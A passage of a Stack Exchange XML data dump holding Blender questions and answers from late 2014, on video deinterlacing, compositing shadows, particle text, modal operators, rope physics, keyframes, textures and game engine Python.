this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've tried on deinterlaced strip:&#xA;- cutting it by moving right video strip handle to the length of audio doesn't work (video is just trimmed in about half)&#xA;- rescaling speed of video strip using Effect-&gt;Speed control doesn't work (video is too fast).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make the deinterlaced video synced with audio and how to force the deinterlaced video strip to be of the same length as audio strip (which is timed in real seconds)? Another way: how to convert 1080i50 to 1080p25 using Blender only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help, thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1616" LastActivityDate="2015-09-23T09:46:22.537" Title="how to match deinterlaced video to audio using Blender VSE" Tags="&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21508" PostTypeId="1" AcceptedAnswerId="21520" CreationDate="2014-12-29T14:31:23.463" Score="2" ViewCount="1185" Body="&lt;p&gt;I'm having some issues with setting up the compositing on a camera tracked scene.&#xA;Here is the scene:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kEh7G.png&quot; alt=&quot;Scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the background layer i have a wall that my charactor will cast a shadow on,  (circled in red), but as you can see in the above image, the camera then moves behind the wall. &#xA;The problem now occurs:&lt;img src=&quot;https://i.stack.imgur.com/Dddx0.png&quot; alt=&quot;Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you can see, the wall casts a shadow on its self causing an unwanted artifact in the render.&#xA;I am using (pretty much) the default &quot;setup tracking scene&quot; node layout&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L0A85.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried playing around with the ray visibility, but havnt had any success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for answers in advance&lt;/p&gt;&#xA;" OwnerUserId="9603" LastActivityDate="2014-12-29T20:18:28.970" Title="Shadows in camera tracked scene" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21509" PostTypeId="1" AcceptedAnswerId="21517" CreationDate="2014-12-29T15:29:10.110" Score="3" ViewCount="2848" Body="&lt;p&gt;I'm using cycles and particles that form text. I've got every letter separated, and while the particles form the shape, it doesn't properly 'fit' the shape or cover all of the surface of the object, so it doesn't work properly for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried making another particle system on the same object, with more particles, but it looks weird...is there any solution to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in regard, I'll be waiting for a response. &lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="241" LastEditDate="2014-12-29T15:46:30.980" LastActivityDate="2014-12-29T20:34:02.017" Title="How can I properly form text from particles?" Tags="&lt;particles&gt;&lt;geometry&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21510" PostTypeId="2" ParentId="15847" CreationDate="2014-12-29T15:43:56.700" Score="3" Body="&lt;p&gt;As of the latest release, the 2.73 release candidate, it seems that when the scene units are set to &lt;em&gt;imperial&lt;/em&gt; it will snap by feet instead of blender units at all times (when &lt;kbd&gt;Ctrl&lt;/kbd&gt; is pressed).  This holds true even in &lt;em&gt;perspective&lt;/em&gt; view mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it seems to still be impossible to change the snapping increment to a custom value.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-10-28T00:08:03.137" LastActivityDate="2015-10-28T00:08:03.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21511" PostTypeId="2" ParentId="19019" CreationDate="2014-12-29T16:30:11.297" Score="1" Body="&lt;p&gt;&lt;code&gt;foreach_set()&lt;/code&gt; is actually very fast but not usable in my case because I'm not always going through all vertices in all cases.&#xA;It seems that the &quot;for&quot; loop is the best way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using bmesh actually is a little faster because it doen't refresh the scene each time the script changes the location of a vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx @CoDEmanX and  @MikePan for the help.&lt;/p&gt;&#xA;" OwnerUserId="6039" LastActivityDate="2014-12-29T16:30:11.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21512" PostTypeId="1" AcceptedAnswerId="23285" CreationDate="2014-12-29T17:15:59.413" Score="1" ViewCount="368" Body="&lt;p&gt;I wrote script that create a custom deformer to a mesh over time. Using python is very slow so I'd like to be able to bake the position of my vertices deformed over time and be able to play it back at a better frame rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm trying to find a good solution to bake the position of vertices of a mesh over time like the physics/rigid body system in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess there is no direct access to create my own internal point cache (but if somebody knows how to do that I'm interested) so what I plan to do is to have a list that store the position of my vertices for a range of frames.&#xA;As I'd like to be able to cancel while baking (using 'ESC'), I guess using a modal operator is the best way to go but i can't get my head around how to set up the modal operator particularly with the return values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I get so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;##some code##&#xA;&#xA;##store global&#xA;class G:&#xA;    pass&#xA;&#xA;## bake deformer&#xA;class JDEF_BAKE(bpy.types.Operator):&#xA;    bl_idname = &quot;wm.bake_jdef&quot;&#xA;    bl_label = &quot;Bake deformer&quot;&#xA;    bl_options = {'UNDO', 'REGISTER'}&#xA;&#xA;    _frame = 1&#xA;    _bake_mat = []&#xA;    _index = 0&#xA;    obj = None&#xA;    _endframe = 0&#xA;&#xA;    def __init__(self):&#xA;        self.obj = bpy.context.object&#xA;        G.baked=False&#xA;        G.baking=True&#xA;        self._frame = bpy.context.scene.frame_start&#xA;        G.ls_bake=[]&#xA;        self._bake_mat = [0.0,0.0,0.0]*len(self.obj.data.vertices)&#xA;        self._endframe = bpy.context.scene.frame_end&#xA;&#xA;    def __del__(self):&#xA;        G.baked=True&#xA;        G.baking=False&#xA;&#xA;    def execute(self,context):&#xA;        context.window_manager.modal_handler_add(self)&#xA;        context.scene.frame_current = self._frame&#xA;        JDEF(context) #execute some function to move the vertices&#xA;        self.obj.data.vertices.foreach_get('co',self._bake_mat)&#xA;        G.ls_bake.append([self._frame,self._bake_mat])&#xA;        self._frame += 1&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    ## bake deformer&#xA;    def modal(self,context,event):&#xA;        if (self._frame &amp;lt;= self._endframe):&#xA;            self.execute(context)&#xA;&#xA;        elif (self._frame &amp;gt; self._endframe):&#xA;            return {'FINISHED'}&#xA;&#xA;        elif event.type=='ESC':&#xA;            G.baked=True&#xA;            G.baking=False&#xA;            G.ls_bake.clear()&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this doesn't seems to work and blender freezes each time I launch the operator. It doesn't come from the function JDEF because even if I comment it blender will still froze. I think I'm not handling the return values and execute/modal functions the right way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if the bad code make you tear blood but I'm still a learning noob :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="6039" LastActivityDate="2015-01-16T15:21:04.570" Title="Python - Baking vertices position for a frame range" Tags="&lt;python&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21513" PostTypeId="1" AcceptedAnswerId="22894" CreationDate="2014-12-29T17:32:13.167" Score="3" ViewCount="1375" Body="&lt;p&gt;I'm pretty sure this has been asked before, but for the life-o'-me I couldn't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would one setup the physics for rope in Blender Game Engine? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I tried soft-body; didn't work&lt;/li&gt;&#xA;&lt;li&gt;Incremented/decremented the properties in different ways; didn't work&lt;/li&gt;&#xA;&lt;li&gt;tried writing my own; fell on it's face&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So how would I make a long object move like a rope. I was planning on using it for 'dreadlocks' like the wookies from Battlefront-2 so it needs to be able to sustain being moved constantly by animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;other uses include &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;rope (dur)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;vines&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ziplines&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="599" LastEditDate="2014-12-29T20:11:52.777" LastActivityDate="2016-05-13T18:36:57.763" Title="How to make a rope in the BGE?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21514" PostTypeId="1" CreationDate="2014-12-29T17:40:05.600" Score="0" ViewCount="654" Body="&lt;p&gt;I'm looking forward on making an animated movie of 2 hours and the challenge are these &quot;Animated Maps (Normal map, Specular map)&quot; - &lt;a href=&quot;https://www.youtube.com/watch?v=mc7ADD4b8_0&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=mc7ADD4b8_0&lt;/a&gt;. I want the animations in the movie to be quite accurate which means that the maps would change on the model on pretty much every frame depending on how each model is animated. Is there a way for the maps to be baked, then assigned on the model and then render the scene and all of that to be done automatically for every frame by the program by clicking &quot;Render&quot; only once (it pretty much seems like everybody's dream though)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The maps would be baked on the lower poly model who's rig is a duplicate of the other that is assigned on the higher poly one.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="11431" LastEditDate="2015-03-15T15:14:25.437" LastActivityDate="2015-03-15T15:14:25.437" Title="Automatic baking followed by a render for animation" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;scripting&gt;&lt;keyframes&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21515" PostTypeId="2" ParentId="21501" CreationDate="2014-12-29T18:51:59.560" Score="2" Body="&lt;p&gt;This sudden odd orientation change appears to be caused by the Armature modifier on the tree. The particles seem to respond much differently when the vertex positions are moving (it could possibly be because it is changing the size of the faces).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to combat this would be to move the perticle systems up the modifier stack until they are before the Armature modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gRBou.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would instead end up with this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AnLx0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to note that when the armature moves the mesh, the particles might not move with it. You will need to convert to a mesh and add it to the armature deformation.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-12-29T18:51:59.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21517" PostTypeId="2" ParentId="21509" CreationDate="2014-12-29T19:10:21.493" Score="4" Body="&lt;p&gt;To change the shape of an object using particles, use the physics type &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics/Keyed&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Keyed&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create an emitting object, cube or whatever.&lt;/li&gt;&#xA;&lt;li&gt;Create a text object, convert it to mesh &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt; and add another particle system.&lt;/li&gt;&#xA;&lt;li&gt;Create a controller (e.g. simple plane with a 3rd particle system) and add the previously created particle systems as keys.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here with a tiny version of the cube used as &lt;em&gt;Dupli Object&lt;/em&gt;.&#xA;Use a massive number of particles not just a few hundred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Ifwn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tutorials&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=SbQ3MMUaxLU&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Keyed Particle System Tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=IxzrkICUs1M&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender 2.68 Tutorial - Various Text Reveals&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=u9_gTtscj5Y&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender 2.6 Tutorial - Keyed Particles versus Curve Guides&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-12-29T20:34:02.017" LastActivityDate="2014-12-29T20:34:02.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21518" PostTypeId="1" AcceptedAnswerId="21519" CreationDate="2014-12-29T19:25:54.300" Score="0" ViewCount="1019" Body="&lt;p&gt;I have a rig, and I want to change all the key frames for my right arm. When I delete one, all of them delete across the entire rig. How do I delete for one part of the rig, i.e. my right arm.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2014-12-30T11:42:17.997" Title="Delete Keyframes in Rig" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21519" PostTypeId="2" ParentId="21518" CreationDate="2014-12-29T20:16:37.927" Score="1" Body="&lt;p&gt;You can delete a concrete animation data keyframes in a &lt;strong&gt;&lt;em&gt;Dope Sheet Editor&lt;/em&gt;&lt;/strong&gt;.&#xA;In this example I have two bones which have separate rotation animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x6WD0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arm rotates 60 degrees and forearm rotates 30 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7xJka.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to delete a forearm rotation for example you go to the &lt;em&gt;Dope Sheet Editor&lt;/em&gt;, select the dots (which represent the keyframes) that belong to &lt;em&gt;forearm bone&lt;/em&gt; and delete them (hover the curor over timeline in Dope Sheet editor window and press &lt;kbd&gt;X&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q64AG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you play the animation only the rotation of an arm bone remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ygtT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2014-12-30T11:42:17.997" LastActivityDate="2014-12-30T11:42:17.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21520" PostTypeId="2" ParentId="21508" CreationDate="2014-12-29T20:18:28.970" Score="2" Body="&lt;p&gt;This isn't a complete solution, because it doesn't work for the ambient occlusion, but you can get rid of the shadow in compositing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a emission Material, with the Backfacing output of the Geometry node fed into the Color in the Emission node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qiNtZ.png&quot; alt=&quot;Backface mask material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a new render layer, that includes the same layers as the Background layer, but replaces the materials with this new one, using the Material option in the render layer panel (you still want no materials on the actual objects, to keep the correct shadow calculations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8TPdN.png&quot; alt=&quot;Backface mask render layer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In compositing, use a Mix node with an Add blend mode to combine this render layer with your shadow/AO nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ojOZg.png&quot; alt=&quot;Compositing node tree&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9723" LastActivityDate="2014-12-29T20:18:28.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21521" PostTypeId="1" AcceptedAnswerId="21529" CreationDate="2014-12-29T21:43:40.393" Score="1" ViewCount="954" Body="&lt;p&gt;When using Game Properties, you can change the value during the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &quot;prop&quot; = 50     press r      then &quot;prop&quot; -= 5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After pressing &quot;r&quot;, the property would subtract 5 from the original number, and then the new number becomes the &quot;original&quot; number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do the same sort of thing with a python variable? So that i can have a variable in my code set to 50 when the game begins, get changed when &quot;r&quot; is pressed, but not revert back to 50 when the script is run in the next frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Start the game&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;prop = 50&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Press R    (Just an example, not real code)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;if keyboard.r = just_activated:&#xA;    prop -= 5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the script is run again, prop reverts back to 50&lt;/p&gt;&#xA;" OwnerUserId="5253" LastActivityDate="2014-12-30T08:48:17.213" Title="Replace Game Property with Variable" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21522" PostTypeId="1" AcceptedAnswerId="21527" CreationDate="2014-12-29T22:36:31.327" Score="0" ViewCount="90" Body="&lt;p&gt;I've made a low poly wolf, just to learn how to unwrap objects and make a easy texture, but when i wanted to render the final image blender didn'render the texture and rendered just the basic gray material. What do I have to do if I want my texture rendered?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2014-12-30T05:09:20.310" Title="rendering textures" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21524" PostTypeId="1" AcceptedAnswerId="28337" CreationDate="2014-12-29T22:47:38.567" Score="3" ViewCount="294" Body="&lt;p&gt;I have some bullets that simply have an always sensor and motion, but since I have gravity on, they fall in a weird way. They do not fall and hit the ground on the tip of the bullet, but rather hit the ground in the exact position they had when they were fired, sleeping. How do I have the bullet tilt as it falls, and possibly have it hit the ground on it's tip?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-12-22T17:41:43.953" Title="Bullets fall with gravity issue" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;physics&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21525" PostTypeId="1" AcceptedAnswerId="21528" CreationDate="2014-12-30T00:32:17.170" Score="0" ViewCount="1610" Body="&lt;p&gt;I have multiple objects I need to boolean together, but when I apply the modifier, the UV maps get messed up in a very odd manner. It is actually visible before the modifier is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two Objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/3MLu9oP&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/3MLu9oP.png?1&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before Application:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/KrTaLDW&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/KrTaLDW.png?1&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UV Map afterwards:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/b0l0p07&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/b0l0p07.png?1&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't for the life of me figure out what the problem is. I checked the face normals, made sure the meshes were manifold and applied all materials to the objects in multiple configurations.&lt;/p&gt;&#xA;" OwnerUserId="5710" LastActivityDate="2014-12-30T05:13:40.773" Title="UV Maps not preserved after Boolean Modifier" Tags="&lt;modifiers&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-12-30T20:48:15.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="21526" PostTypeId="2" ParentId="21463" CreationDate="2014-12-30T00:33:56.627" Score="6" Body="&lt;p&gt;You can use OpenGL's feature for &lt;a href=&quot;http://3dengine.org/Drawing_dotted_lines_%28OpenGL%29&quot; rel=&quot;noreferrer&quot;&gt;stippled lines&lt;/a&gt; to draw dotted / dashed lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;import blf&#xA;&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;    bgl.glPushAttrib(bgl.GL_ENABLE_BIT)&#xA;    # glPushAttrib is done to return everything to normal after drawing&#xA;&#xA;    bgl.glLineStipple(1, 0x9999)&#xA;    bgl.glEnable(bgl.GL_LINE_STIPPLE)&#xA;&#xA;    font_id = 0  # XXX, need to find out how best to get this.&#xA;&#xA;    # draw some text&#xA;    blf.position(font_id, 15, 30, 0)&#xA;    blf.size(font_id, 20, 72)&#xA;    blf.draw(font_id, &quot;Hello Word &quot; + str(len(self.mouse_path)))&#xA;&#xA;    # 50% alpha, 2 pixel width line&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 0.5)&#xA;    bgl.glLineWidth(2)&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    for x, y in self.mouse_path:&#xA;        bgl.glVertex2i(x, y)&#xA;&#xA;    bgl.glEnd()&#xA;    bgl.glPopAttrib()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a line with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type == 'MOUSEMOVE':&#xA;            self.mouse_path.append((event.mouse_region_x, event.mouse_region_y))&#xA;&#xA;        elif event.type == 'LEFTMOUSE':&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'FINISHED'}&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_PIXEL')&#xA;&#xA;            self.mouse_path = []&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to draw circles in arbitrary size, you'll have to roll your own primitive drawing function for ellipses / circles (basically a regular polygon with as many edges as required to make it look round). &lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-12-30T00:33:56.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21527" PostTypeId="2" ParentId="21522" CreationDate="2014-12-30T05:09:20.310" Score="0" Body="&lt;p&gt;if you are using Blender Render ( Internal) , Make sure you have set a texture / Assigned a material to your wolf . To do this :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the walk , Go into edit mode and select the material Tab in the properties panel [&lt;em&gt;If you have not got any materials in the tab , Click &quot;New&quot;]&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xEfcr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.Make sure everything is selected ( Press A until everything is highlighted ) , and press &quot;Assign&quot; &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Select the Texture tab ( It is a checkered image next to the materials tab )&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And click on one of the empty slots , And select the following :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jfHbP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Now set the Co - Ordinates , As shown :&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oSJdq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Try and render the image now . Make sure you have Ambient Occlusion on , Or make sure you have lights in the scene so the wolf is visible.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2014-12-30T05:09:20.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21528" PostTypeId="2" ParentId="21525" CreationDate="2014-12-30T05:13:40.773" Score="2" Body="&lt;p&gt;take a look at this , I have had the same problem : &lt;a href=&quot;https://blender.stackexchange.com/questions/8168/using-boolean-wraps-texture-awkwardly&quot;&gt;Using Boolean Wraps texture awkwardly&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they answered by saying i have to use the &quot;Knife tool&quot; Or knife project . The boolean should heavily be avoided , especially when you have already textured your mesh because it adds un necessary edges , doubles and vertices . &lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-12-30T05:13:40.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21529" PostTypeId="2" ParentId="21521" CreationDate="2014-12-30T08:48:17.213" Score="1" Body="&lt;p&gt;When using python in the game engine you can use a script or a module. While a script will be run from start to end, a module is a collection of functions that can be called indiviually, the &quot;global&quot; code in a module is run once when the module is first activated, which makes it a good place for a one off initialisation that you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;GameScore = 50&#xA;print('init once here')&#xA;&#xA;def ChangeScore(cont):&#xA;    global GameScore&#xA;    ksens = cont.sensors[&quot;Keyboard&quot;]&#xA;    sce = bge.logic.getCurrentScene()&#xA;    scoreDisplay = sce.objects['ScoreDisplay']&#xA;&#xA;    for key,status in ksens.events:&#xA;        if status == bge.logic.KX_INPUT_JUST_ACTIVATED:&#xA;            if key == bge.events.UPARROWKEY:&#xA;                GameScore += 5&#xA;            if key == bge.events.DOWNARROWKEY:&#xA;                GameScore -= 